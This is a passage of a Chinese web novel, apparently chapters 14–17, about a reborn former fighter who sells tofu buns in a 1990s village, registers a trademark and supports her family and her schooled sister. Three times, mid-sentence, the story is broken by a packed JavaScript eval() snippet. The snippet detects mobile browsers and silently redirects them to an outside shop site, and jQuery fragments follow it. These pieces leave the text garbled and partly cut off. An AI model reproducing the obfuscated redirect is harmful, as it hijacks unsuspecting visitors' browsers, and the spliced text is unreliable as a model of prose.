吃完了晚饭,秀竹就缠着秀水,要修习武功。秀水也正好想把以前的拳击和散打都捡起来。世道凶险,她得多练练,有了功夫傍身,出行才能无虞。 她找了条布袋子,指使秀竹去挖些干净河沙,装进袋子里。然后两人搭手,把沙袋吊在自家旁边的一棵大树下。秀水先试了试感觉,招式还没生僻,很快就打得虎虎生风,把一旁的秀竹看得目瞪口呆。 “这……这么强吗?姐我看你打拳都有残影了……” 秀水却略觉遗憾。虽然这具身体还算有力气,但跟职业运动员相比,力道和速度都很一般。秀水对其中的差距再清楚不过,毕竟,上辈子她可是被称为“先天力量圣体”的天赋型选手,巅峰时期,一拳能干翻一头牛,让王大刀疤这个老把式都又惊讶又羡慕。 上一世,她因为要在武馆蹭吃蹭住,才跟着学武术、学散打,后来又学拳击。但后来,她却发自内心地喜欢上了格斗。在一场又一场的综合格斗赛中,她一拳一拳地把曾经那个自卑的自己、迷茫的自己、恐惧的自己和懦弱的自己给打败了,活下来的女人变得强悍又自信。哪怕后来面对病痛折磨、面对亲人反目,她也只有遗憾,却从来不曾害怕过。 现在,她也要用双拳来保护自己、保护家人了。她会凶狠地打出每一拳,击碎既定的命运,打破傲慢与偏见,击败压迫与不公,赢得人生的每一场胜利,就跟上辈子一样。 14. 第 14 章 刘瑞英为两双破鞋子怄了几天气,想起来就眼泪涟涟。如今钱退回来了,女儿又给她买了新凉鞋,她的郁闷之情便一扫而空。这次也没再一味心疼钱,很高兴地试穿了新鞋。 水红色半透明的硬塑料凉鞋,穿着又合脚又凉快。刘瑞英两年没穿过凉鞋了,舍不得花钱买。喻庆山倒是有一双,不过那双鞋子已经打了五处补丁。这回有了新鞋,两口子穿着左看右看,满意得不得了。 第二天的早饭时间,刘瑞英破天荒地煮了咸鸭蛋。家里养了两只鸭子,下的蛋向来是要腌好拿去卖,或送去娘家孝敬父母的。因为送鞋子遭父母埋怨,刘瑞英也有些灰心了,对娘家再孝顺又有什么用?最终心疼自己的还是家里人。凭什么好东西都舍不得自家吃? 为防秀水说嘴,她还一煮就是四个,全家每人一个。剥开咸鸭蛋,里面的蛋黄出了油,配上稀饭和煎豆渣饼,再好吃也没有。 转眼八月将尽,各家地里的黄豆陆续熟了。秀水的包子事业看来可以一直做下去,自家种的那点黄豆是远远不够的。意识到这一点后,喻庆山和刘瑞英跟村里相熟的乡邻都打了招呼,等黄豆打下来,都卖给他们家。 黄豆这种作物,附近的粮站不收购,大家平时都是拿到豆腐作坊换豆腐吃,如今既然能换些钱,自然都是愿意的。只是这么一来,好多人都晓得喻家在蒸包子卖了。——难怪他家一天到晚香扑扑的,那香味,闻着馋死个人了。 便有些风言风语传出来,说喻家靠包子挣了多少多少钱。有那眼红的人便也买了豆腐,悄悄在家自己做。谁晓得豆腐包子听起来简单,真上手却根本不是那回事。豆腐焯水到什么程度,调味料怎么放才能既压住豆腥、又不夺豆腐的鲜味,那都是有讲究的。况且用老酵子发面,也不是人人都能发得起来的。就连包子上的褶儿,他们都捏得没有秀水家的好看,有自知之明的人便都歇了心。 有一天刘瑞英正在家搓麻绳,邻居刘婶子悄悄过来,告诉她一个消息。刘婶子没少吃刘瑞英送的豆渣,两家一直处得亲密。据她说,杨定桂也做豆腐包子去卖了,她早上亲眼看见的,自行车后面载个大箱子,箱子上还歪歪扭扭写了几个字:秀水豆腐包。 刘瑞英一听就气炸了。他们家起黑夜爬三更,好不容易把豆腐包生意做起来了,这个杨不死的就来抢生意了。刘瑞英跑去杨家,偏他家没人。刘瑞英只好回来了,坐在家里左思右想,越想越气。 自从秀水跟杨定桂干过两架以后,两家人始终不对付。刘瑞英路上碰到杨定桂都不讲话。杨定桂也在背后摇唇鼓舌,说了许多她家秀水的坏话。以往她都忍着,这回非得一并算个总账不可。 好容易等到傍晚,总算看到杨定桂骑车从门前路过,车后面果然有个箱子,还用件旧衣服盖着。刘瑞英忙几步抢上前,大声问:“杨定桂,你去哪里忙了的?” 杨定桂眼神有些躲闪,“去街上卖鸡蛋了。” 刘瑞英上前掀起箱子上的衣服,上面的字露了出来,果然写着“秀水豆腐包”几个字。 “你卖豆腐包我不怪你,”刘瑞英气愤地指着字说:“可你凭啥写我秀水的名字?” 杨定桂便把车停了,露出她一贯的蛮横,“我怎么用你们家名字了?未必只有你姑娘叫秀水!” “你说得稀奇!全红英大队还找得出第二个叫秀水的人么?”刘瑞英高声喊:“况且就你那手艺,蒸的包子拿出去不是败坏我招牌么?” 两个人在路上大吵起来,立刻吸引了村民们围观。大家纷纷劝解,这回却都是指责杨定桂的。 “人家姑娘叫秀水,才卖秀水豆腐包,你看你又没姑娘,写什么秀水豆腐包?” “看人家挣钱眼红了,也不能这样搞,总有个先来后到!” 杨定桂理屈,只好闭了嘴,默默推车回家,任由刘瑞英在后面骂了半天。晚上等秀水回了家,刘瑞英气还没平,边把饭菜端上桌,边愤愤地讲了这事。 秀水听了也是一怔,这倒提醒了她,得给自家秀水豆腐包注册一个商标了。 第二天卖包子的中途,她便又到工商局去了一趟,朝人打听怎么才能注册商标。没想到连问几人都说不知道。九十年代大家的品牌意识还都非常薄弱,像怀安县这样的小城市,工商局一年上头也受理不了两桩商标注册,所以这些人都不清楚。 秀水站在走廊里,正疑心自己搞错了部门,忽然看到上次投诉时接待她的那个人。那人竟还记得她,见了她便问:“你又来了?这回是想投诉谁?” “来办别的事,”秀水听人叫他老丁,便道:“丁科长,我投诉的案子办理得怎么样了?” 她本是不抱希望的,谁知老丁说:“我去问过了,怎么他们说你动手打人?” “开什么玩笑!”秀水扬眉反驳,“他们开店的可是有三个人!您看我打得过他们吗?” 老丁打量着她,从衣着上看,秀水肯定是住在附近的农村人,但她身上又全无农村人惯有的瑟缩,说话做事大大方方的,又自信又胆大。 但无论她有天大的胆儿,一个瘦瘦高高的小姑娘也不可能打翻两个大男人啊。 “人家说你打人了,还讹了他们几百块钱。”老丁说。 秀水嗤笑,说话像打机关枪:“我讹他?这话您信吗?吞进嘴里的钱他还肯吐出来?向来只有他们蒙人的,几曾见过他们被人讹?五大三粗的几个人,竟然在您面前扮可怜,不觉得搞笑吗?不是,您不会真被骗了吧……” 老丁其实也是这么认为的。那家店他有印象,以前也有几个人打电话来投诉过。这些开店的老板都狡猾得很,去检查时,货架上摆的都是真货,质量没问题;等人走了,他们再把水货摆出来。而且这些人也看人下菜碟,城里精明的主妇们来买东西,他们就给好东西。那些看着老实的人和乡下人来买东西,付钱的时候都能把货给调换了。其实就是笃定别人买了水货也不敢来闹事罢了。 “我已经处罚过了,”老丁说:“你们买东西时也要注意擦亮眼睛。” 他说着转身要走,秀水见他还算认真负责,忙又叫住道:“对了丁科长,您知道在哪儿办理商标注册吗?” 老丁还真知道,他带秀水去了一间办公室,把她介绍给一位刘科长。刘科长听她说了来意,瞪大眼睛打量她,“你?注册商标?注册那个干嘛?” 秀水又颇费了一番口舌,才让刘科长相信,她真是来注册商标的。刘科长虽然分管这个,但自己也不是很熟悉相关条例,临时找了本册子,把需要准备什么材料念给秀水听。秀水找了支笔,把他说的一一记了下来。 晚上回家后,她电视也不看了,独自在房间写写画画。秀竹好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722576|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇地过去瞅了一眼,发现她姐在纸上画了好多图案。 “姐,你干啥呢?” “设计商标图案,”秀水抬头,拿起几张纸,“看看有没有你喜欢的图案?挑一个做咱们豆腐包的招牌!” 这可是很重要的事情,秀竹忙认真看了两遍,指着其中一张说:“这个好看!又简洁,又很清晰明了!” 那张纸上,上面的图案是“秀水”两个字变形组成了一个圆圈,下面写着“秀水豆腐包”五个字。秀水也最喜欢这个设计,便伸出大拇指夸妹子:“有眼光!” 秀竹开心地笑了,说:“姐,等这个招牌定下来,我给你画到箱子上去!” 连着准备了好几天,终于把需要的材料备齐了,秀水又拿着去找刘科长,交了三百块钱,便算是初步受理了。接下来还要审查材料、进行公告,整个过程繁琐又漫长。秀水并不着急,不就是需要时间吗?她这么年轻,有的是时间。 忽忽便到了八月底,刘瑞英和喻庆山开始给秀竹收拾行装,准备送她去县一中读书了。 自从秀竹拿到录取通知书,村民们便有艳羡的,也有说酸话怪话的。连妯娌蒋士芳都过来问,为什么不让孩子读县师范。在农村人眼里,县师范就是极好的出路了。读了高中,万一考不上大学,岂不是白读了? 河边洗衣服的队伍中也有人笑话,喻庆山两口子不清白,一个女孩子,花那些钱读书有啥用?到时候还不是别人家的人? 刘瑞英也听到这些风言风语,到河边清洗衣服时,便故意大声说:“不是我夸孩子,我们秀竹从小就聪明,回回考试得第一。她考上了好学校,我难道不让她读?做人爹妈可不是这么做的。现在是新社会,男女都一样,她想读多久都成。等她以后上了大学,我还指望她给我养老呢……” 如今村里人对刘瑞英也客气起来了,毕竟还指望把自家黄豆卖给她。听了她这话,也没人当面反驳,反而有些跟她相好的人夸她命好,大女儿能干,小女儿聪明,个个都是好样的。哪怕都是些面子话,刘瑞英听着也开心。 到了八月三十,大清早喻庆山就骑着自行车,后座一侧挂着被窝卷和行李,喻秀竹侧身坐在另一边,父女俩一起去县一中报道。 一中校园里,新生和家长络绎不绝穿行在宿舍和教学楼之间,一个个都喜气洋洋的。喻庆山和女儿报了名,把行李送上宿舍楼。这届高一的孩子都住五楼,也就是顶楼。喻庆山一进去就看到寝室里还有好几位家长,都在给孩子铺床。 家长们都相□□头微笑,算是打过招呼。喻庆山和女儿搭手铺床的间隙,悄悄打量着别的孩子和家长,看样子都是城关人。来之前刘瑞英专门炒了花生米、煮了咸鸭蛋,都用玻璃瓶封装着,他把瓶子从包里拿出来放好,下楼时又塞给秀竹五十块钱,小声嘱咐:“住集体宿舍,自己的钱要放好。该买什么就买什么,不要舍不得钱。没钱了就找家里拿……” 罗罗嗦嗦嘱咐了一大通,才骑着车回家。独自一人在路上时,喻庆山想到别人家孩子穿的衣服都颜色鲜亮、款式入时,只有他的秀竹,上身那件短袖白衬衣是姐姐穿过的,下面穿条自家做的棉布裤子,小脸晒得黑黑的,一看就知道是农村孩子。 真不知道秀竹会不会跟秀水早先那样,在外面也被人欺负。他越想越怆然,险些滴下泪来。 15. 第 15 章 这天秀水回去得比较早,到家时天还没黑。进屋后,堂屋冷冷清清的,一个人也没有。秀水不由想,家里少了一个人,冷清了好多。 喻庆山和刘瑞英都在厨房,一边做饭一边聊着天,脸上都有些郁郁的。秀水有点好笑,“怎么了?莫不是竹子去上学你们舍不得?” 刘瑞英见她回来,忙笑道:“又在胡说八道!能读书是再好没有的事,好多人想读还读不了呢……” “我和你妈正在商量一点事,”喻庆山也换了一副神情,道:“我想反正家里在磨豆腐,到时候多磨点,我也骑着车去各村转悠着卖。” 秀水猜疑地看看他们,没有说话。磨豆腐可不是什么容易事。世上三大苦,撑船打铁磨豆腐,这推磨可是顶顶辛苦和麻烦的事情。他们家每天光是做豆腐馅儿,两个人就要磨个把钟头的黄豆,如果再做豆腐去卖,岂不是要推半天磨? “那太辛苦了,”秀水说:“也卖不了几个钱。况且地里的活儿你俩不干了?” 喻庆山说:“哪怕少,多少也能挣两个钱。” 刘瑞英叹了口气,道:“你爸现在一门心思就想多挣几个钱。人家的父母有本事,孩子都有好衣服好鞋子穿。就咱们家的姑娘,穿的都是些破衣烂衫……” 喻庆山忙拦着道:“我不过就那么说了两句,你跟孩子说这些干什么?” 秀水转念一想就明白了,这必定是老喻同志去送秀竹,看到别的同学家庭条件都好,自己心里难受起来,两口子倒都是心疼女儿的实心人。她想了想便说:“那也不用去卖豆腐。现在咱家豆腐包子卖得正俏,多做些包子不就行了?” 但秀水一个人去县城叫卖,一天二百个包子已经是上限了。喻庆山和刘瑞英一来是家里活儿太多,走不开;二来他俩去县城卖东西,秀水也并不放心。沉吟片刻,秀水便有了个主意,但并没有告诉父母,而是说:“我来想想办法。” 在县城卖了几个月包子,秀水豆腐包已经小有名气。现在秀水每天装二百来个包子,不到天黑就可以卖完。甚至有人知道她如今在菜市场附近卖包子,专门跑过来买,说以前在学校门前买过,她家包子馅大、料足、做得扎实,家里人都爱吃。 七八月份孩子们放假,秀水每天都在菜场和居民区卖包子。但随着新学期的到来,学校周边的市场她也不想丢。除了小学和二中,县城还有两所中小学,每天上学放学的人也很多。如果能在校门口摆个摊设个点,保守估计每天也能卖五六十个包子。 她在家盘算了一夜,第二天依旧去菜市场卖包子。看看卖得差不多了,才骑车去了小学旁。学生们正在上课,街边静悄悄的。秀水便去附近文具店找到那位相熟的女老板。 这老板自从帮她当了一回托儿,每次见秀水都很亲热,有时还让她在店门口歇脚。见了秀水,女老板便说:“我昨天还在说,学生都开学了,你怎么还没来。” 秀水便笑,说:“婶婶,我想跟你商量一件事儿。” 女老板忙从柜台里走出来,“啥事你说。” “我想在你这儿设一个代销点,”秀水说:“我每天早上送五十到一百个包子过来,放在你这儿。你来卖。每个包子给你提成五分钱。卖不出去的都归我。你看行不行?” 女老板飞快地在心里算了个账,一百个包子她能赚五块钱。别看钱少,架不住积少成多,一个月时间就等于多了一百来块钱。而且也不费什么事,文具店主要是做放学时的生意。早上上学孩子们都匆匆忙忙的,根本来不及在文具店细看。她兼带着卖包子也不误事。 更何况秀水前段时间一直在附近卖包子,她亲眼看到她的生意越做越好,放在她这里代卖,根本不愁销。而且就算卖不动,对方刚才不也说了吗?又不用她赔,怕什么? 当下她就笑容满面地答应了,“可以呀,不过我也要先和你说好,天气热,没卖出去的包子坏了,我是不管的。” “那肯定的,我一开始也不会带很多来。如果卖得好,我就多送点。” 两人就这么说定了,秀水又骑车去了二中旁边,如法炮制,在另一个文具店里开设了一个豆腐包代销点。 她在心里盘算,如此一来,这两个地方她就不用守着了,就算城管来了也不怕。她每天就在菜市场卖包子,有空就去另一所小学门口开拓市场。 当天晚上,她回到家,把在文具店设立了两个代销点的事说了,喻庆山和刘瑞英又惊又喜。 “哪怕赚得少点,也是很有赚头的,”刘瑞英算着账,说:“就算这两个地方只能卖五十个包子,那一天下来,咱们也能多卖出一百个呢,那就是二十块钱!再加上你每天卖两百个,这么算下来咱家毛收入一个月就……就快两千了?” 这个惊人的数字把她和喻庆山都吓着了,喻庆山忙提醒她:“哪有这么多?阴天下雨卖得少,再说孩子们星期天不上课,不用送过去。是吧秀水?” “那也不少了!”刘瑞英满脸是笑,忍不住又道:“秀水啊,我这心里怎么老是不踏实呢?人家真的要帮咱们卖?不会是骗咱们的吧?” “骗我们干嘛?说好了一天一结账。”秀水忍不住笑,说:“再说人家也不算帮咱们,卖得越多,人家赚得也多呢。” “那我得赶紧做几个保温箱去!”喻庆山忙站了起来,“明天就送过去。要不然人家见咱们总也不送,还以为不卖了。” 刘瑞英也站起来,“我给自行车链条抹点油去,骑着也轻省些!” “等等!”秀水赶紧制止住他们,说:“我就想问,明天一大早做三百多个包子,来得及吗?” “来得及!”喻庆山语气坚定,神情坚毅,“我一夜不睡都要把包子做出来!” 说着他扭头就去找泡沫板。刘瑞英想到箱子上面要写招牌,也起身去找墨汁和毛笔。全家人连夜做箱子、写招牌、给自行车搭架子,刘瑞英又另外刷洗出一个大木盆,准备明天多和一盆面,直忙到快十点才上床睡觉。 刘瑞英心里有事,只朦胧睡了一觉,就起身看家里那老式挂钟。指针刚过凌晨一点。她忙忙地起了床,叫醒喻庆山,两人打着呵欠去了厨房。 夫妻俩一个倒水和面,另一个清洗泡好的黄豆,然后搭手磨豆浆、压豆腐,整忙活了一早上。到四五点钟秀水起床时,蒸好的包子已经放进了四个保温箱。 然后喻庆山把箱子搬到自行车上,拿绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们家种了十来亩地,六亩多水田,四亩多旱地。两亩地的黄豆需要一镰一镰地砍出来、捆扎好,运到晒谷场上,再摊铺开来,用连盖反复捶打。然后是翻场、扬场、晒豆子,一天忙下来,她手脚像面条一样,软绵绵的,啥力气都使不上了。 有天她在晒谷场上筛豆子,突然头一晕就倒在了地上,把喻庆山脸都吓白了,抱着她又是拍脸、又是掐人中,旁边晒谷场上的刘婶子飞奔着舀了一瓢水过来,喂给她喝。刘瑞英悠悠醒转,先是喝了两口水,又被喻庆山连背带扛地弄进了屋,只觉得恶心想吐。 她挣扎着,想歇一会儿再去把黄豆收进来。谁知躺在床上就昏睡过去,晚饭都没吃,整整睡了一夜。第二天醒来时,外面已经是天光大亮。刘瑞英大惊失色,忙翻身下床,就见外面喻庆山独自在翻晒昨天打下的黄豆。 “包子呢?”刘瑞英急得鞋都没穿,“今天没做包子?” “我跟秀水早就送过去了,”喻庆山忙说:“秀水说了,叫你今天务必歇一天。” 刘瑞英听见包子生意没耽误,这才放了心。她别的不怕,就怕秀水刚开张的代销点黄了。听说让她歇一天,刘瑞英不以为意,“歇歇歇!这哪是歇的季节?难道等黄豆花生落在田里?那不成全村的笑话了?” 她到底是没听丈夫的话,又拿着铁锹去另一块地里刨花生去了。 16. 第 16 章 晚上秀水卖完包子回家,看到刘瑞英从田里回来,衣服汗得透湿,那脸色就很不好看。 刘瑞英觑着女儿的臭脸,不知为什么,心里竟然有点发虚。天知道,以前她才是这个家的当家人,到底从什么时候开始,她竟然害怕女儿说她了? “身体是革命的本钱,健康才是第一位的!”秀水皱眉训她,“你跟我爸天天起那么早,白天不抽空歇一歇,还一天到晚地忙地里的活儿,非得把身体累垮吗?进了医院,你辛苦挣的钱就是张废纸,那你挣钱的意义是什么?” 刘瑞英心想,钱就是钱,到哪儿都不可能是张废纸。但看看女儿的表情,她到底是没敢把这话说出口,只是低声道:“好好好,我晓得了。我这不也是心急吗?” “自家忙不过来就请人!”秀水说:“爸,你去问问大妈和刘婶子,看她们有没有空,咱家出钱请人干活。” 刘瑞英一下子就急了,“怎么忙不过来?我跟你爸两个人在家,怎么就忙不过来了?还花钱!咱家有多少钱够这么花的?” “你昨天都晕倒了!”秀水提醒她, “行行行,我以后中午多睡会儿,”刘瑞英主动退了一步,“慢点搞,总能把活儿干完的。” 喻庆山也说:“这季节不好请人,大家都在忙自家田里的事。我们慢慢来就是了。” 听他这样说,秀水才罢了。晚上她躺在床上谋划,包子生意扩大了,确实挣钱,但要是把喻庆山和刘瑞英累病了,那就得不偿失了。 主要还是磨豆浆太费时费力,这段时间她也到处问过,整个县城都没有那种打豆浆的电动机器。如果有电动磨浆机,劳动量将大大降低。另外,红英大队离县城还是太远了,光是路上就要耗近两个小时。如果能把家搬到城里就好了。 但那几乎是不可能的事情。县城的房屋很稀缺,都是各单位自己盖了房,再分配给干部职工住。不存在买卖房屋,只有相互转让。但即使转让,也只限于单位内部职工。秀水甚至还想过在县城郊区租房,也因为没找到合适的地方而不得不作罢。 既然眼下没有别的办法,只能让他们多吃点有油水的东西了。于是第二天秀水从街上回来时,带回了一斤多五花肉。 进屋时正碰上有村民来卖黄豆,秀水便没把肉拿出来。直到人走了,她才把肉提到厨房,对刘瑞英说:“晚上炒点五花肉吃。” 刘瑞英看到那么大一块肉,就像是割了自己的肉,“你这孩子,手里有两个钱就攒不住!不年不节的,割什么肉!” “你不吃我吃!”秀水说:“天天豆渣合菜,嘴里淡出鸟来了。” 喻庆山见母女两拌嘴,忙从中解劝,“算了算了,买回来了你就做呗。” 刘瑞英愤愤嘀咕着,割下一半肉炒了青椒。还有一半,她用盐腌起来,留着明天吃。因为明天秀竹就要放假了。 傍晚,秀竹被她爸接出来的时候,脸上郁郁的。也不知道是军训晒的,还是在生气。喻庆山心里一咯噔,忙问:“在学校跟同学闹矛盾了?” 秀竹摇头,一路都不想说话。等回了家,她才不情不愿地告诉父母,军训完后学校举行了分班考试。全校四百多人,喻秀竹名列第一百二十名。 她生平没考过这种惨烈的名次,整个人都从开学的欢欣鼓舞中沉默了下来。 刘瑞英和喻庆山听了,心情也很沉重。县一中每年能上大学的也就四五十个孩子,其中还包括大专生。一百多名……大学是没指望了。 但喻庆山还是鼓励孩子,“没事,不就考差了这一次吗?咱们再努力。” “对!”刘瑞英也说:“吃了饭你去做会儿作业!” 秀水知道妹妹要回家,这天也回来得早。她一进屋就察觉气氛有些沉重,也猜到了几分。便问秀竹:“是不是没考好?” “一百多名!”秀竹突然狂喊,“我才考了一百多名!” 喻秀水笑了起来。本来大家都心情沉重,被她一笑,这事立刻显得没那么沉重了。 “我早就说了,你英语不行,暑假应该好好补一下,”秀水甚至有点幸灾乐祸,问她妹子:“你补了吗?” 喻秀竹压根儿没有补习。她一来是没有补习的习惯,二来农村孩子手里永远有活儿。她心疼父母和姐姐,自己多做一点,他们就可以少做一点。 没想到真被她姐说中了,军训那几天,她跟新同学聊了聊,发现有人已经把数学预习到高二了。新学期开始上课,英语老师竟然直接用英语讲课!她都听不懂在说什么!到了这个时候,她才有点慌乱,深深感受到了重点高中和乡村初中之间的差距。 “咋了?后悔了?”秀水笑她,“还有三年呢,这就害怕了?” 姐姐的嘲笑反而让秀竹心里好受点了,对啊,她的同学都提前起跑了,而她落在后面,考试比别人差不是很正常吗? “我才不怕呢,我就是后悔,暑假时间都浪费了。”秀竹说。 “那咱们好好补!”刘瑞英也忙说:“以后回了家,不要你干活了。你就一心一意在家搞学习!” “下次放假我不回来了。”秀竹想了想,说:“路上太耽误时间。我就在学校看看书。” 孩子想搞学习,喻庆山和刘瑞英还有啥好说的?忙满口答应了。反正秀水天天去城里,隔三岔五看看她妹子,给她送钱送吃食不就是了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732763|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 等吃完晚饭,秀竹独自去了树下。她泄恨似的拳脚相加,把沙袋打得啪啪响。 她会追不上班里的同学?她才不信! 她会学不好英语?她才不信! 女孩子上了高中就后劲不足?她才不信! …… 酣畅淋漓地捶打完了沙袋,秀竹心情平静地走进卧室,拿起了刚发不久的书本。晚上刘瑞英和喻庆山在堂屋里看《封神榜》,一墙之隔的姐妹俩却在灯光下各干各的事,一个学着打算盘,另一个在背英语单词。房间里没人说话,只有极轻的读书声,和算盘珠子偶尔拨动的声音。 转眼到了九月下旬,秀水打算休息一天,还强行让父母也休息一天。因为,期盼已久的北京亚运会终于要开幕了! “我们亚洲,山是高昂的头。我们亚洲,河像热血流……” 黑白电视机的屏幕上,韦唯正在激情演唱。铿锵有力的歌声飘荡在亚运会开幕式的上空,也飘荡在红英大队的这座农家小屋里。 刘瑞英和喻庆山坐在电视机前,手里还剥着花生,观看着亚运会的开幕式。 “我们国家现在也能办大事了!看看这气势!”喻庆山看着亚运会宏大的场面,激动地说。 “那是,好多人都捐了款的!”刘瑞英虽然没捐过款,但她看新闻。电视里的新闻隔三岔五播放捐款的新闻,退休老干部、环卫工人、小学生们纷纷捐款,就为了办好这场盛事。 “这精彩!这文艺演出!这得多少人在一起练习呀!”刘瑞英不停感慨。 喻庆山则关注着中国的运动员们,“看看,这些孩子跟秀水年龄差不多,就开始为国争光了。” “也不晓得这一回能得几块金牌。”刘瑞英豪气地说:“要是得了第一,咱们也庆祝一回,吃点好的。” “哟!”秀水和喻庆山都扭头看她,“不心疼钱了?” “我是那么小气的人吗?”刘瑞英翻起了白眼,“我那是该省就省,该花就花!” 不过,接下来的比赛他们就没再看了。能看一场开幕式,在农忙季节已经算是非常奢侈的了。谁有那个时间看比赛?包子不要卖了?田里稻谷不要收了?地里花生不要刨了? 到了晚上,他们会和秀水一起看看新闻。秀水没办法看比赛实况直播,但每晚的综合新闻肯定要看一看的。他们羡慕着17岁的邓亚萍,也佩服着中年老将许海峰。但低头看看自己的双手,秀水又觉得,能健康地重活一回也不错。 上一世,她在赛场上奋力搏击;这一世,她在生活中奋力搏击。即使无人加冕,她也一直都是那个格斗女王。女王从不向生活低头,从不为命运哭泣。 17. 第 17 章 十月中下旬,田里的稻谷陆续收得差不多了。晒谷场上天天都摊晒着东西,稻谷、黄豆、花生、玉米、芝麻……,来喻家卖黄豆的人也多了起来。 黄豆的成色有好有坏。颗粒是否饱满、晒得干不干、里头的渣滓多不多……这都是有讲究的。有些村民知道喻庆山比较好说话,所以更愿意趁他在家时来卖黄豆。不过,他们很快发现,喻庆山也变了,——变得狡猾起来了。 “五叔,你这黄豆太湿了,拿回家再晒两天吧。”喻庆山用手捻着豆粒,和气地、诚恳地朝对方说。当对方抱怨些诸如“哪里湿了”“往年都这样卖”之类的话时,他也不急,只是坚持自己的看法,“我做豆腐的,知道什么样的豆子合适……您要实在不愿意,也可以到镇上去卖……” 话说到这份上,对方也不能再纠缠,否则双方都有失脸面。还有一个人把前年的陈黄豆掺在新豆子里拿过来,也被喻庆山客客气气地拒绝了,“陈豆子容易发霉。我大姑娘说了,那叫黄曲霉素,有毒。咱家做的都是进口的东西,可不敢收这个。” 那人恼羞成怒,愤愤地把黄豆提走,还放了些“再有好豆子也不卖你了”之类的狠话。回家后被他老婆戳着额头骂了半天。因为陈旧发霉的豆子哪里都没人要,要想卖去豆腐作坊,还要她一颗颗择出来。 大多数村民都是识好歹的,他们客气又亲热,背过来的豆子筛得很干净,晒得也干巴。毕竟谁都不是傻子,他们去别处卖,人家也要挑剔成色的。如今卖到本村,价钱公道,还省了出门的功夫。 当然也有村民含酸带醋地打听:“你们家生意现在做大了哦,一天卖多少包子?是不是要当老板了?” 每逢这时候,刘瑞英便叹气,“当什么老板哦,起早贪黑,还不是为了年底给家里多扯几尺布,给孩子们做两身衣裳。” “明年房子可以盖起来了。”有村民便进一步猜测。 “哪里来的钱盖房子?还差一大截呢,”刘瑞英转而向别人商量,“到时候盖新房,少不了要找你们支援两个钱,可不要装着不认识呀……” 秀水有时候在旁边帮着计秤算账,听刘瑞英诉苦,不由很佩服她妈这个性格,沉得住气,有钱也不飘,是个干大事的人。 她却不知道,刘瑞英把钱袋子捂得死紧,那是生怕别人来抢她的生意。饶是这样,村里也还是有人学秀水去县城卖包子。不过等到真做了这个小生意,才知道其中的辛苦。起早贪黑也就罢了,乡下人在县城摆小摊,哪有不受欺负的?不是被城管赶,就是被小混混们讹诈。再说做的包子也没有喻家的好吃,经常卖不出去。有人上了两回当,便歇了这个心思。 也就是秀水,嘴巴甜、眼睛亮、脑瓜子活络,卖了几个月包子,竟没被城管抓到过一次。 除了黄豆,喻庆山还买了一千多斤小麦屯在家里。收购得差不多了,他便赶紧忙起了田里的活儿。刘瑞英则把今年刚摘的棉花拿到镇上弹好了,着手给家里人做冬衣。 家里的棉衣棉鞋都是刘瑞英亲手做的。并非是她特别能干,而是这年月的主妇们都有这项技能。县城里当然有棉袄和棉鞋卖,款式和颜色还很漂亮,可是贵呀,一件棉袄的花费顶得上在家做三件,那袄子还薄薄的,哪有妈妈们亲手缝的棉袄那么厚实? 花了好几天时间,刘瑞英先缝好了秀水的棉袄。想到她天天在外面跑,刘瑞英铺的棉花就尤其多、尤其厚。以致于秀水试穿时,觉得胳膊都合不拢。整个人鼓鼓囊囊的,像某个动画人物大白。 崭新的棉花袄子,暖是真的暖,丑也是真的丑。就连秀水这么不在乎外形的人都觉得,这是不是太夸张了一点。但是,时间很快到了十一月,几场老北风一刮,一天比一天冷。秀水很快就觉得,这大棉袄真是个好东西,简直能救她狗命。 天气变冷后,早上起床变得份外困难起来。连刘瑞英这个钻进钱眼里的人,都开始贪恋起温暖的被窝来。 “起来了!庆山,起来起来!”她闭着眼在被窝里嘀咕,听到老式挂钟再次发出响声后,才终于狠下决心,一骨碌从被窝里钻出来。然后在身体反应过来之前,套上棉袄棉裤,缩着脖子去了厨房。 虽然冬天起床很困难,但等身体暖和了,干活倒比夏天好受。煮豆浆时,整个厨房都缭绕着腾腾热汽,有时喻庆山甚至要脱下棉袄,只穿着毛衣里里外外地忙活。 等秀水打着哈欠起床,包子往往都蒸得差不多了。厨房的大灶燃着温暖的火苗,一笼笼蒸屉整齐码放在大锅里。热气高高腾起,整间厨房都溢满了白色的、暖融融的水汽。等白里透油的包子出了锅,刘瑞英便用手沾了凉水,趁热放进一个个泡沫箱里。箱子外面用旧棉衣厚厚裹一层,可以一直保暖到八九点钟。 冬天天亮得迟,秀水和喻庆山出发时,外面仍跟黑夜一样。两人骑着自行车,穿过寂静又黑暗的乡村公路。他们戴着一种名叫“狗钻洞”的帽子,套在头上只能露出眼睛,是电影里劫匪们常用的道具。因为太丑,村里只有老年男人才会戴这个。 但是秀水无所谓,为了保暖,她无所不用其极。丑帽子和大手套算什么?她还会在腰间系一根绳子,这样风就吹不进棉袄里面去了。到了县城,她把绳子解了,帽子取下来,又成了一个利利索索的小姑娘。 这样的辛苦,唯有数钱时才能得到少许慰藉。所以秀水现在数钱都数两遍。但凡少数一遍,就想撂挑子不干了。 